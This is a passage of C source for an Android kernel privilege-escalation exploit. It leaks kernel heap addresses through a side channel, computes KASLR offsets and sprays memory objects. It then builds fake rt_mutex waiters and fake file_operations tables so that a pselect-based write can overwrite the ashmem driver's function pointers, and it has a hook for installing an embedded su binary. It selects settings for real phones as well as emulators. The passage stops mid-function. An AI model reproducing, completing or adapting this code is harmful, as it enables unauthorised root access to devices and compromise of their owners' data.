#include "common.h"
#include "kernelsnitch/kernelsnitch.h"

static struct kernelsnitch_shared_state *ks;
static size_t mm_objs_per_slab;
static unsigned char *skb_buf;
static int reclaim_sv[2] = {-1, -1};
static struct mm_ctx prepare_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
static pid_t child_leak;

uintptr_t page_base;
uintptr_t fake_lock;
uintptr_t fake_w0;
uintptr_t fake_task;
uintptr_t fake_parent;
uintptr_t fake_right;
uintptr_t fake_left;
uintptr_t fake_fops;
uintptr_t binwrite_target;
int pselect_custom_write;
uintptr_t pselect_custom_target;
uintptr_t pselect_custom_value;
char ashmem_path[256] = "/dev/ashmem";

int kernelsnitch_collision_count(void) {
  const char *arg = getenv("KSNITCH_COLLISIONS");
  char *end = NULL;
  unsigned long value;

  if (!arg || !*arg) {
    return KSNITCH_COLLISIONS;
  }
  errno = 0;
  value = strtoul(arg, &end, 0);
  if (errno || !end || *end || value == 0 || value > 64) {
    pr_warning("bad KSNITCH_COLLISIONS value=%s; using %d\n",
               arg, KSNITCH_COLLISIONS);
    return KSNITCH_COLLISIONS;
  }
  return (int)value;
}

int env_flag(const char *name, int def) {
  const char *arg = getenv(name);

  if (!arg || !*arg) {
    return def;
  }
  if (!strcmp(arg, "0") || !strcasecmp(arg, "false") ||
      !strcasecmp(arg, "no")) {
    return 0;
  }
  return 1;
}

int env_int_range(const char *name, int def, int min, int max) {
  const char *arg = getenv(name);
  char *end = NULL;
  long value;

  if (!arg || !*arg) {
    return def;
  }
  errno = 0;
  value = strtol(arg, &end, 0);
  if (errno || !end || *end || value < min || value > max) {
    pr_warning("bad %s value=%s; using %d\n", name, arg, def);
    return def;
  }
  return (int)value;
}

enum p0_profile {
  P0_PROFILE_TRUEPHONE = 0,
  P0_PROFILE_SIM = 1,
};

#define P0_SIM_PHYS_OFFSET 0x40000000ULL
#define P0_SIM_KERNEL_PHYS_LOAD 0x40200000ULL

static atomic_int cached_p0_profile = ATOMIC_VAR_INIT(-1);

static int p0_profile_from_string(const char *arg) {
  if (!arg || !*arg) {
    return -1;
  }
  if (!strcasecmp(arg, "sim") || !strcasecmp(arg, "qemu") ||
      !strcasecmp(arg, "gem5") || !strcasecmp(arg, "local")) {
    return P0_PROFILE_SIM;
  }
  if (!strcasecmp(arg, "truephone") || !strcasecmp(arg, "phone") ||
      !strcasecmp(arg, "device") || !strcasecmp(arg, "real")) {
    return P0_PROFILE_TRUEPHONE;
  }
  return -1;
}

static int file_contains_text(const char *path, const char *needle) {
  char buf[1024];
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  ssize_t n;

  if (fd < 0) {
    return 0;
  }
  n = read(fd, buf, sizeof(buf) - 1);
  close(fd);
  if (n <= 0) {
    return 0;
  }
  buf[n] = 0;
  return strstr(buf, needle) != NULL;
}

static int detect_p0_profile(void) {
  int selected = p0_profile_from_string(getenv("CATMOVE_P0_PROFILE"));
  if (selected >= 0) {
    return selected;
  }
  selected = p0_profile_from_string(getenv("IONCAT_P0_PROFILE"));
  if (selected >= 0) {
    return selected;
  }
  selected = p0_profile_from_string(getenv("P0_PROFILE"));
  if (selected >= 0) {
    return selected;
  }

  if (file_contains_text("/proc/cmdline", "androidboot.hardware=gem5") ||
      file_contains_text("/proc/cmdline", "qemu") ||
      file_contains_text("/proc/device-tree/model", "dummy-virt") ||
      file_contains_text("/proc/cpuinfo", "dummy-virt")) {
    return P0_PROFILE_SIM;
  }
  return P0_PROFILE_TRUEPHONE;
}

static int p0_profile_kind(void) {
  int selected = atomic_load_explicit(&cached_p0_profile, memory_order_acquire);

  if (selected >= 0) {
    return selected;
  }
  selected = detect_p0_profile();
  atomic_store_explicit(&cached_p0_profile, selected, memory_order_release);
  return selected;
}

const char *p0_active_profile(void) {
  return p0_profile_kind() == P0_PROFILE_SIM ? "sim" : "truephone";
}

uintptr_t p0_phys_offset(void) {
  return p0_profile_kind() == P0_PROFILE_SIM ?
      P0_SIM_PHYS_OFFSET : P0_PHYS_OFFSET;
}

uintptr_t p0_kernel_phys_load(void) {
  return p0_profile_kind() == P0_PROFILE_SIM ?
      P0_SIM_KERNEL_PHYS_LOAD : P0_KERNEL_PHYS_LOAD;
}

uintptr_t p0_kernel_phys_delta(void) {
  return p0_kernel_phys_load() - p0_phys_offset();
}

static int env_uintptr_value(const char *name, uintptr_t *out) {
  const char *arg = getenv(name);
  char *end = NULL;
  unsigned long long value;

  if (!arg || !*arg) {
    return 0;
  }
  errno = 0;
  value = strtoull(arg, &end, 0);
  if (errno || !end || *end) {
    pr_warning("bad %s value=%s; ignoring\n", name, arg);
    return 0;
  }
  *out = (uintptr_t)value;
  return 1;
}

static int slide_page_source_allowed(uintptr_t leaked, uintptr_t base) {
  int exact = env_int_range("SLIDE_LEAKED_OFF_EXACT", -1,
                            -1, (int)ORDER3_SIZE - 1);
  uintptr_t base_min = 0;
  uintptr_t base_max = ~(uintptr_t)0;
  int have_base_min = env_uintptr_value("SLIDE_PAGE_BASE_MIN", &base_min);
  int have_base_max = env_uintptr_value("SLIDE_PAGE_BASE_MAX", &base_max);

  if (exact >= 0 && (int)(leaked & (ORDER3_SIZE - 1)) != exact) {
    return 0;
  }
  if (have_base_min && base < base_min) {
    return 0;
  }
  if (have_base_max && base > base_max) {
    return 0;
  }
  return 1;
}

static int page_source_allowed(int payload_mode, uintptr_t leaked,
                               uintptr_t base) {
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    return slide_page_source_allowed(leaked, base);
  }

  int exact = env_int_range("PAGE_LEAKED_OFF_EXACT", -1,
                            -1, (int)ORDER3_SIZE - 1);
  uintptr_t base_min = 0;
  uintptr_t base_max = ~(uintptr_t)0;
  int have_base_min = env_uintptr_value("PAGE_BASE_MIN", &base_min);
  int have_base_max = env_uintptr_value("PAGE_BASE_MAX", &base_max);

  if (exact >= 0 && (int)(leaked & (ORDER3_SIZE - 1)) != exact) {
    return 0;
  }
  if (have_base_min && base < base_min) {
    return 0;
  }
  if (have_base_max && base > base_max) {
    return 0;
  }
  return 1;
}

void setup_kernelsnitch(void) {
  int cpu_count = (int)sysconf(_SC_NPROCESSORS_ONLN);
  ks = kernelsnitch_setup(
      MM_STRUCT_SZ, MM_ORDER, cpu_count, kernelsnitch_collision_count(), 0, 0);
}

int kernelsnitch_collisions_ready(void) {
  return kernelsnitch_found_collisions(ks);
}

void run_kernelsnitch_bruteforce(void) {
  kernelsnitch_bruteforce(ks);
}

uintptr_t current_kernelsnitch_mm_struct(void) {
  return ks->mm_struct;
}

uintptr_t cleanup_kernelsnitch(void) {
  uintptr_t leaked = kernelsnitch_cleanup(ks);
  ks = NULL;
  return leaked;
}

__attribute__((weak))
int install_embedded_su(pid_t *daemon_pid) {
  if (daemon_pid) {
    *daemon_pid = -1;
  }
  errno = ENOSYS;
  return 0;
}

void read_first_line(const char *path, char *buf, size_t len) {
  if (!len) {
    return;
  }
  snprintf(buf, len, "unreadable");
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    return;
  }
  ssize_t n = read(fd, buf, len - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    errno = saved_errno;
    snprintf(buf, len, "unreadable");
    return;
  }
  buf[n] = 0;
  buf[strcspn(buf, "\r\n")] = 0;
}

void log_startup_context(void) {
  char attr[256];
  char enforce[32];
  read_first_line("/proc/self/attr/current", attr, sizeof(attr));
  read_first_line("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
  pr_success("startup context pid=%d uid=%u euid=%u gid=%u egid=%u attr=%s enforce=%s\n",
             getpid(), getuid(), geteuid(), getgid(), getegid(), attr,
             enforce);
  pr_success("build config pid=%d label=%s p0_active=%s slide=pselect "
             "main=pselect\n", getpid(), BUILD_VARIANT_LABEL,
             p0_active_profile());
  pr_success("p0 profile pid=%d phys_offset=%016llx kernel_phys_load=%016llx "
             "delta=%016llx slide_logger=%016llx bootid_data=%016llx "
             "init_task=%016llx root_tg=%016llx sysctl_bootid=%016llx\n",
             getpid(), (unsigned long long)p0_phys_offset(),
             (unsigned long long)p0_kernel_phys_load(),
             (unsigned long long)p0_kernel_phys_delta(),
             (unsigned long long)SLIDE_NFULNL_LOGGER,
             (unsigned long long)SLIDE_RANDOM_BOOT_ID_DATA,
             (unsigned long long)SLIDE_INIT_TASK,
             (unsigned long long)SLIDE_ROOT_TASK_GROUP,
             (unsigned long long)SLIDE_SYSCTL_BOOTID);
}

void log_slide_child_context(void) {
  char attr[256];
  char enforce[32];
  read_first_line("/proc/self/attr/current", attr, sizeof(attr));
  read_first_line("/sys/fs/selinux/enforce", enforce, sizeof(enforce));
  pr_success("slide child context route=%s pid=%d uid=%u euid=%u gid=%u "
             "egid=%u attr=%s enforce=%s\n",
             "pselect", getpid(), getuid(), geteuid(), getgid(), getegid(),
             attr, enforce);
}

void disable_rseq_for_thread(void) {
  return;
}

long futex_op(uint32_t *uaddr, int op, uint32_t val,
              const struct timespec *timeout, uint32_t *uaddr2,
              uint32_t val3) {
  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
}

long sched_setattr_tid(int tid, int nice_value) {
  struct local_sched_attr attr;
  memset(&attr, 0, sizeof(attr));
  attr.size = sizeof(attr);
  attr.sched_policy = env_flag("SLIDE_SCHED_OTHER", 1) ?
      SCHED_OTHER : SCHED_BATCH;
  attr.sched_nice = nice_value;
  return syscall(SYS_sched_setattr, tid, &attr, 0);
}

int try_cache_ashmem_path(const char *path) {
  int fd = open(path, O_RDWR | O_CLOEXEC);
  if (fd < 0) {
    return 0;
  }

  close(fd);
  snprintf(ashmem_path, sizeof(ashmem_path), "%s", path);
  return 1;
}

int same_rdev_path(const char *path, dev_t rdev) {
  struct stat st;
  if (stat(path, &st) != 0) {
    return 0;
  }
  return S_ISCHR(st.st_mode) && st.st_rdev == rdev;
}

void init_ashmem_path(void) {
  char boot_id[128];
  int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC);
  if (fd >= 0) {
    ssize_t n = read(fd, boot_id, sizeof(boot_id) - 1);
    close(fd);
    if (n > 0) {
      boot_id[n] = 0;
      boot_id[strcspn(boot_id, "\r\n")] = 0;

      char path[256];
      snprintf(path, sizeof(path), "/dev/ashmem%s", boot_id);
      if (try_cache_ashmem_path(path)) {
        return;
      }
    }
  }

  struct stat base;
  int have_base = stat("/dev/ashmem", &base) == 0;
  have_base = have_base && S_ISCHR(base.st_mode);
  DIR *dir = opendir("/dev");
  if (dir && have_base) {
    struct dirent *de;
    while ((de = readdir(dir)) != NULL) {
      if (strncmp(de->d_name, "ashmem", 6) != 0 ||
          strcmp(de->d_name, "ashmem") == 0) {
        continue;
      }

      char path[256];
      snprintf(path, sizeof(path), "/dev/%s", de->d_name);
      if (same_rdev_path(path, base.st_rdev) &&
          try_cache_ashmem_path(path)) {
        closedir(dir);
        return;
      }
    }
  }
  if (dir) {
    closedir(dir);
  }
}

int open_ashmem_device(void) {
  return open(ashmem_path, O_RDWR | O_CLOEXEC);
}

int has_zero_byte(uintptr_t value) {
  for (int i = 0; i < 8; i++) {
    if (((value >> (i * 8)) & 0xff) == 0) {
      return 1;
    }
  }
  return 0;
}

uintptr_t p0_data_alias(uintptr_t image_addr) {
  uintptr_t off = image_addr - KIMAGE_TEXT_BASE;
  uintptr_t phys = p0_kernel_phys_load() + off;
  return ((phys - p0_phys_offset()) | P0_PAGE_OFFSET);
}

uintptr_t p0_alias_image_offset(uintptr_t data_alias) {
  return (data_alias - P0_PAGE_OFFSET) - p0_kernel_phys_delta();
}

uintptr_t data_addr(uintptr_t image_addr) {
  return p0_data_alias(image_addr);
}

uintptr_t kaslr_image_addr(uintptr_t image_addr) {
  if (!kaslr_done) {
    return image_addr;
  }
  return kaslr_base + (image_addr - KIMAGE_TEXT_BASE);
}

uintptr_t text_addr(uintptr_t image_addr) {
  return kaslr_image_addr(image_addr);
}

uintptr_t slide_canon_addr(uintptr_t data_alias) {
  return kaslr_base + p0_alias_image_offset(data_alias);
}

uintptr_t canon_addr(uintptr_t image_addr) {
  return text_addr(image_addr);
}

uintptr_t pselect_write_value(void) {
  if (pselect_custom_write) {
    return pselect_custom_value;
  }
  return fake_fops;
}

uintptr_t pselect_write_target(void) {
  if (pselect_custom_write) {
    return pselect_custom_target;
  }
  return data_addr(ASHMEM_MISC_FOPS);
}

int pselect_custom_write_enabled(void) {
  return pselect_custom_write;
}

int pselect_write_shape(void) {
  if (!pselect_custom_write) {
    return 0;
  }
  return env_int_range("TMP_UNAME_PSELECT_WRITE_SHAPE",
                       PSELECT_WRITE_SHAPE_DEFAULT, 0, 1);
}

static uintptr_t stage0_logger_addr(void) {
  if (env_flag("SLIDE_STAGE0_LOGGER_SLOT2", 1)) {
    return SLIDE_LOGGERS_0_1 + 0x20;
  }
  return SLIDE_LOGGERS_0_1;
}

void set_pselect_write(uintptr_t target, uintptr_t value) {
  pselect_custom_target = target;
  pselect_custom_value = value;
  pselect_custom_write = 1;
}

void clear_pselect_write(void) {
  pselect_custom_write = 0;
  pselect_custom_target = 0;
  pselect_custom_value = 0;
}

void put64(unsigned char *p, size_t off, uint64_t value) {
  memcpy(p + off, &value, sizeof(value));
}

void put32(unsigned char *p, size_t off, uint32_t value) {
  memcpy(p + off, &value, sizeof(value));
}

void put_fake_fops_table(unsigned char *p, size_t off) {
  put64(p, off + FOPS_OWNER_OFF, 0);
  put64(p, off + FOPS_LLSEEK_OFF, fake_w0 + WAITER_PI_TREE_ENTRY_OFF);
  put64(p, off + FOPS_READ_OFF, 0);
  put64(p, off + FOPS_WRITE_OFF, 0);
  put64(p, off + FOPS_READ_ITER_OFF, text_addr(CONFIGFS_READ_ITER));
  put64(p, off + FOPS_WRITE_ITER_OFF, text_addr(CONFIGFS_BIN_WRITE_ITER));
  put64(p, off + FOPS_IOCTL_OFF, text_addr(ASHMEM_IOCTL));
  put64(p, off + FOPS_COMPAT_IOCTL_OFF, text_addr(ASHMEM_COMPAT_IOCTL));
  put64(p, off + FOPS_MMAP_OFF, text_addr(ASHMEM_MMAP));
  put64(p, off + FOPS_OPEN_OFF, text_addr(ASHMEM_OPEN));
  put64(p, off + FOPS_RELEASE_OFF, text_addr(ASHMEM_RELEASE));
  put64(p, off + FOPS_SPLICE_READ_OFF, text_addr(COPY_SPLICE_READ));
  put64(p, off + FOPS_SHOW_FDINFO_OFF, text_addr(ASHMEM_SHOW_FDINFO));
}

int try_put_blob_no_zeros(int fd, const unsigned char *blob, size_t len) {
  char name[ASHMEM_NAME_LEN];
  memset(name, 0x41, sizeof(name));

  for (size_t i = 0; i < len; i++) {
    name[i] = blob[i] ? blob[i] : 1;
  }
  name[len] = 0;
  return ioctl(fd, ASHMEM_SET_NAME, name);
}

int try_put_blob_zero_at(int fd, const unsigned char *blob, size_t pos) {
  char name[ASHMEM_NAME_LEN];
  memset(name, 0x41, sizeof(name));

  for (size_t i = 0; i < pos; i++) {
    name[i] = blob[i] ? blob[i] : 1;
  }
  name[pos] = 0;
  return ioctl(fd, ASHMEM_SET_NAME, name);
}

int try_set_ashmem_name_blob(int fd, const unsigned char *blob, size_t len) {
  if (try_put_blob_no_zeros(fd, blob, len) != 0) {
    return -1;
  }

  for (size_t i = len; i > 0; i--) {
    if (blob[i - 1] == 0 &&
        try_put_blob_zero_at(fd, blob, i - 1) != 0) {
      return -1;
    }
  }
  return 0;
}

pid_t clone_child(void) {
  pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
  if (child == 0) {
    SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));
    if (getppid() == 1) {
      _exit(0);
    }
    pin_to_core(CORE);
    for (;;) {
      pause();
    }
  }
  return child;
}

pid_t clone_leak_child(void) {
  pid_t child = SYSCHK(syscall(SYS_clone, SIGCHLD, NULL, NULL, NULL, 0));
  if (child == 0) {
    kernelsnitch_find_collisions(ks);
    exit(0);
  }
  return child;
}

int open_memfd(pid_t child) {
  char path[64];
  snprintf(path, sizeof(path), "/proc/%d/mem", child);
  return SYSCHK(open(path, O_RDONLY));
}

void kill_child(pid_t child) {
  if (child <= 0) {
    return;
  }
  SYSCHK(kill(child, SIGKILL));
  SYSCHK(waitpid(child, NULL, 0));
}

void close_reclaim_sockets(void) {
  for (int i = 0; i < 2; i++) {
    if (reclaim_sv[i] >= 0) {
      close(reclaim_sv[i]);
      reclaim_sv[i] = -1;
    }
  }
}

void close_ctx_memfds(struct mm_ctx *ctx) {
  for (size_t i = 0; i < ctx->mm_cnt; i++) {
    if (ctx->memfds[i] > 0) {
      close(ctx->memfds[i]);
      ctx->memfds[i] = -1;
    }
  }
}

void free_ctx_storage(struct mm_ctx *ctx) {
  free(ctx->childs);
  free(ctx->memfds);
  ctx->childs = NULL;
  ctx->memfds = NULL;
  ctx->mm_cnt = 0;
}

void cleanup_page_prepare_state(void) {
  close_ctx_memfds(&prepare_ctx);
  close_ctx_memfds(&spray_ctx);
  close_ctx_memfds(&pre_ctx);
  close_ctx_memfds(&post_ctx);
  if (memfd_leak > 0) {
    close(memfd_leak);
    memfd_leak = -1;
  }
  free_ctx_storage(&prepare_ctx);
  free_ctx_storage(&spray_ctx);
  free_ctx_storage(&pre_ctx);
  free_ctx_storage(&post_ctx);
  free(skb_buf);
  skb_buf = NULL;
}

int clone_memfd(void) {
  pid_t child = clone_child();
  int fd = open_memfd(child);
  kill_child(child);
  return fd;
}

void prepare_ctxs(void) {
  prepare_ctx.mm_cnt = 32 * mm_objs_per_slab;
  prepare_ctx.childs = calloc(sizeof(pid_t), prepare_ctx.mm_cnt);
  prepare_ctx.memfds = calloc(sizeof(int), prepare_ctx.mm_cnt);

  spray_ctx.mm_cnt = (1 + MM_PARTIALS) * mm_objs_per_slab;
  spray_ctx.childs = calloc(sizeof(pid_t), spray_ctx.mm_cnt);
  spray_ctx.memfds = calloc(sizeof(int), spray_ctx.mm_cnt);

  pre_ctx.mm_cnt = mm_objs_per_slab - 1;
  pre_ctx.childs = calloc(sizeof(pid_t), pre_ctx.mm_cnt);
  pre_ctx.memfds = calloc(sizeof(int), pre_ctx.mm_cnt);

  post_ctx.mm_cnt = mm_objs_per_slab;
  post_ctx.childs = calloc(sizeof(pid_t), post_ctx.mm_cnt);
  post_ctx.memfds = calloc(sizeof(int), post_ctx.mm_cnt);
}

static void put_p9_fops_waiter(unsigned char *p, uintptr_t write_pc,
                               uintptr_t write_right, uintptr_t write_left,
                               uint64_t waiter_task) {
  put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x00, 1);
  put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x08, 0);
  put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x10, 0);
  put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x00, write_pc);
  put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x08, write_right);
  put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x10, write_left);
  put64(p, W0_OFF + WAITER_TASK_OFF, waiter_task);
  put64(p, W0_OFF + WAITER_LOCK_OFF, fake_lock);
  put32(p, W0_OFF + WAITER_WAKE_STATE_OFF, 0);
  put32(p, W0_OFF + WAITER_PRIO_OFF, FAKE_WAITER_PRIO);
  put64(p, W0_OFF + WAITER_DEADLINE_OFF, 0);
  put64(p, W0_OFF + WAITER_WW_CTX_OFF, 0);
}

static void put_tcp_fake_fops_table(unsigned char *p, size_t off) {
  put64(p, off + FOPS_OWNER_OFF, 0);
  put64(p, off + FOPS_LLSEEK_OFF, 0);
  put64(p, off + FOPS_READ_OFF, fake_w0 + WAITER_PI_TREE_ENTRY_OFF);
  put64(p, off + FOPS_WRITE_OFF, 0);
  put64(p, off + FOPS_READ_ITER_OFF, text_addr(CONFIGFS_READ_ITER));
  put64(p, off + FOPS_WRITE_ITER_OFF, text_addr(CONFIGFS_BIN_WRITE_ITER));
  put64(p, off + FOPS_IOCTL_OFF, text_addr(ASHMEM_IOCTL));
  put64(p, off + FOPS_COMPAT_IOCTL_OFF, text_addr(ASHMEM_COMPAT_IOCTL));
  put64(p, off + FOPS_MMAP_OFF, text_addr(ASHMEM_MMAP));
  put64(p, off + FOPS_OPEN_OFF, text_addr(ASHMEM_OPEN));
  put64(p, off + FOPS_RELEASE_OFF, text_addr(ASHMEM_RELEASE));
  put64(p, off + FOPS_SPLICE_READ_OFF, text_addr(COPY_SPLICE_READ));
  put64(p, off + FOPS_SHOW_FDINFO_OFF, text_addr(ASHMEM_SHOW_FDINFO));
}

int prepare_skb_payload(uintptr_t base, int payload_mode) {
  memset(skb_buf, 0, SKB_SEND_SIZE);

  int payload_delta = SKB_DATA_DELTA;
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    payload_delta = env_int_range(
        "SLIDE_SKB_DATA_DELTA", SKB_DATA_DELTA, -0x8000, 0x8000);
  }
  int standalone_tcp_payload =
      payload_mode == PAGE_PAYLOAD_SLIDE &&
      env_flag("SLIDE_STANDALONE_TCP_PAYLOAD", 1);
  int main_tcp_payload =
      payload_mode == PAGE_PAYLOAD_FOPS &&
      env_flag("MAIN_TCP_PAYLOAD", 1);
  if (standalone_tcp_payload) {
    payload_delta = 0;
  } else if (main_tcp_payload) {
    payload_delta = 0;
  }
  uintptr_t payload_base = base + payload_delta;
  size_t payload_bias =
      (standalone_tcp_payload || main_tcp_payload) ? 0xe80 : SKB_FRAG_BIAS;
  size_t fake_task_off =
      (standalone_tcp_payload || main_tcp_payload) ? 0x5800 : FAKE_TASK_OFF;
  size_t fake_fops_off = main_tcp_payload ? 0x3338 : FOPS_TABLE_OFF;

  fake_lock = payload_base + LOCK_OFF;
  fake_w0 = payload_base + W0_OFF;
  fake_task = payload_base + fake_task_off;
  fake_fops = payload_base + fake_fops_off;
  int write_shape = pselect_write_shape();
  uintptr_t write_target = pselect_write_target();
  uintptr_t write_value = pselect_write_value();
  int simple_pselect_fops =
      payload_mode == PAGE_PAYLOAD_FOPS &&
      env_flag("PSELECT_SIMPLE_LAYOUT", 0);

  if (main_tcp_payload) {
    fake_parent = data_addr(ASHMEM_MISC_FOPS) - 8;
    fake_right = fake_fops;
    fake_left = payload_base + LEFT_OFF;
    binwrite_target = payload_base + fake_fops_off + 0x700;
  } else if (simple_pselect_fops) {
    fake_parent = fake_fops;
    fake_right = data_addr(ASHMEM_MISC_FOPS);
    fake_left = 0;
    binwrite_target = payload_base + SCRATCH_OFF;
  } else if (payload_mode == PAGE_PAYLOAD_FOPS) {
    if (write_shape == 1 && write_target >= 8) {
      fake_parent = write_target - 8;
      fake_right = write_value;
      fake_left = 0;
    } else {
      fake_parent = write_value;
      fake_right = 0;
      fake_left = write_target;
    }
    binwrite_target = payload_base + SCRATCH_OFF;
  } else {
    fake_parent = data_addr(ASHMEM_MISC_FOPS) - 8;
    fake_right = fake_fops;
    fake_left = payload_base + LEFT_OFF;
    binwrite_target = payload_base + FOPS_OFF + 0x700;
  }

  uintptr_t write_pc = write_value;
  uintptr_t write_right = 0;
  uintptr_t write_left = write_target;
  uint64_t waiter_task = text_addr(INIT_TASK);
  uint64_t task_group = text_addr(ROOT_TASK_GROUP);
  uint64_t pi_top_task = text_addr(INIT_TASK);
  int slide_owner_null_shape =
      payload_mode == PAGE_PAYLOAD_SLIDE &&
      env_flag("SLIDE_OWNER_NULL_SHAPE", 0);
  int slide_fake_task_pi_waiters_zero =
      payload_mode == PAGE_PAYLOAD_SLIDE &&
      env_flag("SLIDE_FAKE_TASK_PI_WAITERS_ZERO", 0);
  int slide_fake_task_root_task_group =
      payload_mode == PAGE_PAYLOAD_SLIDE &&
      env_flag("SLIDE_FAKE_TASK_ROOT_TASK_GROUP", 0);
  int slide_fake_task_pi_top_init =
      payload_mode == PAGE_PAYLOAD_SLIDE &&
      env_flag("SLIDE_FAKE_TASK_PI_TOP_INIT", 0);
  const char *slide_lock_top_delta_arg =
      payload_mode == PAGE_PAYLOAD_SLIDE ?
      getenv("SLIDE_LOCK_TOP_WAITER_DELTA") : NULL;
  int slide_lock_top_delta_set =
      slide_lock_top_delta_arg && *slide_lock_top_delta_arg;
  int slide_lock_top_delta = slide_lock_top_delta_set ?
      env_int_range("SLIDE_LOCK_TOP_WAITER_DELTA", 0, -0x1000, 0x1000) : 0;
  if (main_tcp_payload) {
    waiter_task = SLIDE_INIT_TASK;
    task_group = SLIDE_ROOT_TASK_GROUP;
    pi_top_task = 0;
  } else if (payload_mode == PAGE_PAYLOAD_FOPS && pselect_custom_write_enabled()) {
    waiter_task = fake_task;
    task_group = 0;
    pi_top_task = fake_task;
  }
  if (payload_mode == PAGE_PAYLOAD_SLIDE) {
    write_pc = stage0_logger_addr();
    write_right = 0;
    write_left = SLIDE_RANDOM_BOOT_ID_DATA;
    if (standalone_tcp_payload) {
      waiter_task = SLIDE_INIT_TASK;
      task_group = SLIDE_ROOT_TASK_GROUP;
      pi_top_task = 0;
    } else if (env_flag("SLIDE_FAKE_TASK", 0)) {
      waiter_task = fake_task;
      task_group = slide_fake_task_root_task_group ?
          SLIDE_ROOT_TASK_GROUP : 0;
      pi_top_task = slide_fake_task_pi_top_init ?
          SLIDE_INIT_TASK : fake_task;
    } else {
      waiter_task = SLIDE_INIT_TASK;
      task_group = SLIDE_ROOT_TASK_GROUP;
      pi_top_task = SLIDE_INIT_TASK;
    }
    if (env_flag("SLIDE_WRITE_SCRATCH", 0)) {
      write_pc = payload_base + RIGHT_OFF;
      write_right = 0;
      write_left = payload_base + SCRATCH_OFF;
    }
    if (slide_owner_null_shape) {
      pi_top_task = 0;
    }
  } else if (main_tcp_payload) {
    write_pc = fake_fops;
    write_right = 0;
    write_left = data_addr(ASHMEM_MISC_FOPS);
  } else if (simple_pselect_fops) {
    write_pc = fake_fops;
    write_right = data_addr(ASHMEM_MISC_FOPS);
    write_left = 0;
  } else if (write_shape == 1 && write_target >= 8) {
    write_pc = write_target - 8;
    write_right = write_value;
    write_left = 0;
  }

  pr_info("fake payload mode=%d write_shape=%d standalone_tcp=%d main_tcp=%d "
          "delta=%x bias=%zx lock=%016zx w0=%016zx task=%016zx task_off=%zx "
          "fops_off=%zx lock_top_delta=%d write_parent=%016zx "
          "write_right=%016zx write_left=%016zx\n",
          payload_mode, write_shape, standalone_tcp_payload, main_tcp_payload,
          payload_delta, payload_bias, fake_lock, fake_w0, fake_task,
          fake_task_off, fake_fops_off,
          slide_lock_top_delta_set ? slide_lock_top_delta : 0,
          write_pc, write_right, write_left);

  for (size_t chunk = 0; chunk < SKB_SEND_SIZE; chunk += ORDER3_SIZE) {
    unsigned char *p = skb_buf + chunk + payload_bias;

    put32(p, LOCK_OFF + 0x00, 0);
    if (payload_mode == PAGE_PAYLOAD_SLIDE &&
        !env_flag("SLIDE_STAGE0_LOCK_SHAPE", 1) &&
        !slide_owner_null_shape && !slide_lock_top_delta_set) {
      put64(p, LOCK_OFF + 0x08, 0);
      put64(p, LOCK_OFF + 0x10, 0);
      put64(p, LOCK_OFF + 0x18, 0);
    } else {
      uintptr_t lock_top_waiter = fake_w0 + (intptr_t)slide_lock_top_delta;
      put64(p, LOCK_OFF + 0x08, lock_top_waiter);
      put64(p, LOCK_OFF + 0x10, lock_top_waiter);
      put64(p, LOCK_OFF + 0x18,
            slide_owner_null_shape ? 1 : (fake_task | 1));
    }

    if (main_tcp_payload) {
      put64(p, W0_OFF + 0x00, 1);
      put64(p, W0_OFF + 0x08, 0);
      put64(p, W0_OFF + 0x10, 0);
      put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x00, write_pc);
      put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x08, 0);
      put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x10, write_left);
      put64(p, W0_OFF + WAITER_TASK_OFF, waiter_task);
      put64(p, W0_OFF + WAITER_LOCK_OFF, fake_lock);
      put32(p, W0_OFF + WAITER_WAKE_STATE_OFF, 0);
      put32(p, W0_OFF + WAITER_PRIO_OFF, 0);
      put64(p, W0_OFF + WAITER_DEADLINE_OFF, 0);
      put64(p, W0_OFF + WAITER_WW_CTX_OFF, 0);
    } else if (payload_mode == PAGE_PAYLOAD_FOPS && !simple_pselect_fops) {
      put_p9_fops_waiter(p, write_pc, write_right, write_left, waiter_task);
    } else if (standalone_tcp_payload) {
      put64(p, W0_OFF + 0x00, 1);
      put64(p, W0_OFF + 0x08, 0);
      put64(p, W0_OFF + 0x10, 0);
      put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x00, write_pc);
      put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x08, 0);
      put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x10, write_left);
      put64(p, W0_OFF + WAITER_TASK_OFF, waiter_task);
      put64(p, W0_OFF + WAITER_LOCK_OFF, fake_lock);
      put32(p, W0_OFF + WAITER_WAKE_STATE_OFF, 0);
      put32(p, W0_OFF + WAITER_PRIO_OFF, 0);
      put64(p, W0_OFF + WAITER_DEADLINE_OFF, 0);
      put64(p, W0_OFF + WAITER_WW_CTX_OFF, 0);
    } else {
      put64(p, W0_OFF + 0x00, 1);
      put64(p, W0_OFF + 0x08, 0);
      put64(p, W0_OFF + 0x10, 0);
      put32(p, W0_OFF + FAKE_WAITER_TREE_PRIO_OFF,
            standalone_tcp_payload ? 0 : FAKE_WAITER_PRIO);
      put64(p, W0_OFF + FAKE_WAITER_TREE_DEADLINE_OFF, 0);
      put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x00, write_pc);
      put64(p, W0_OFF + FAKE_WAITER_PI_TREE_ENTRY_OFF + 0x08, write_right);
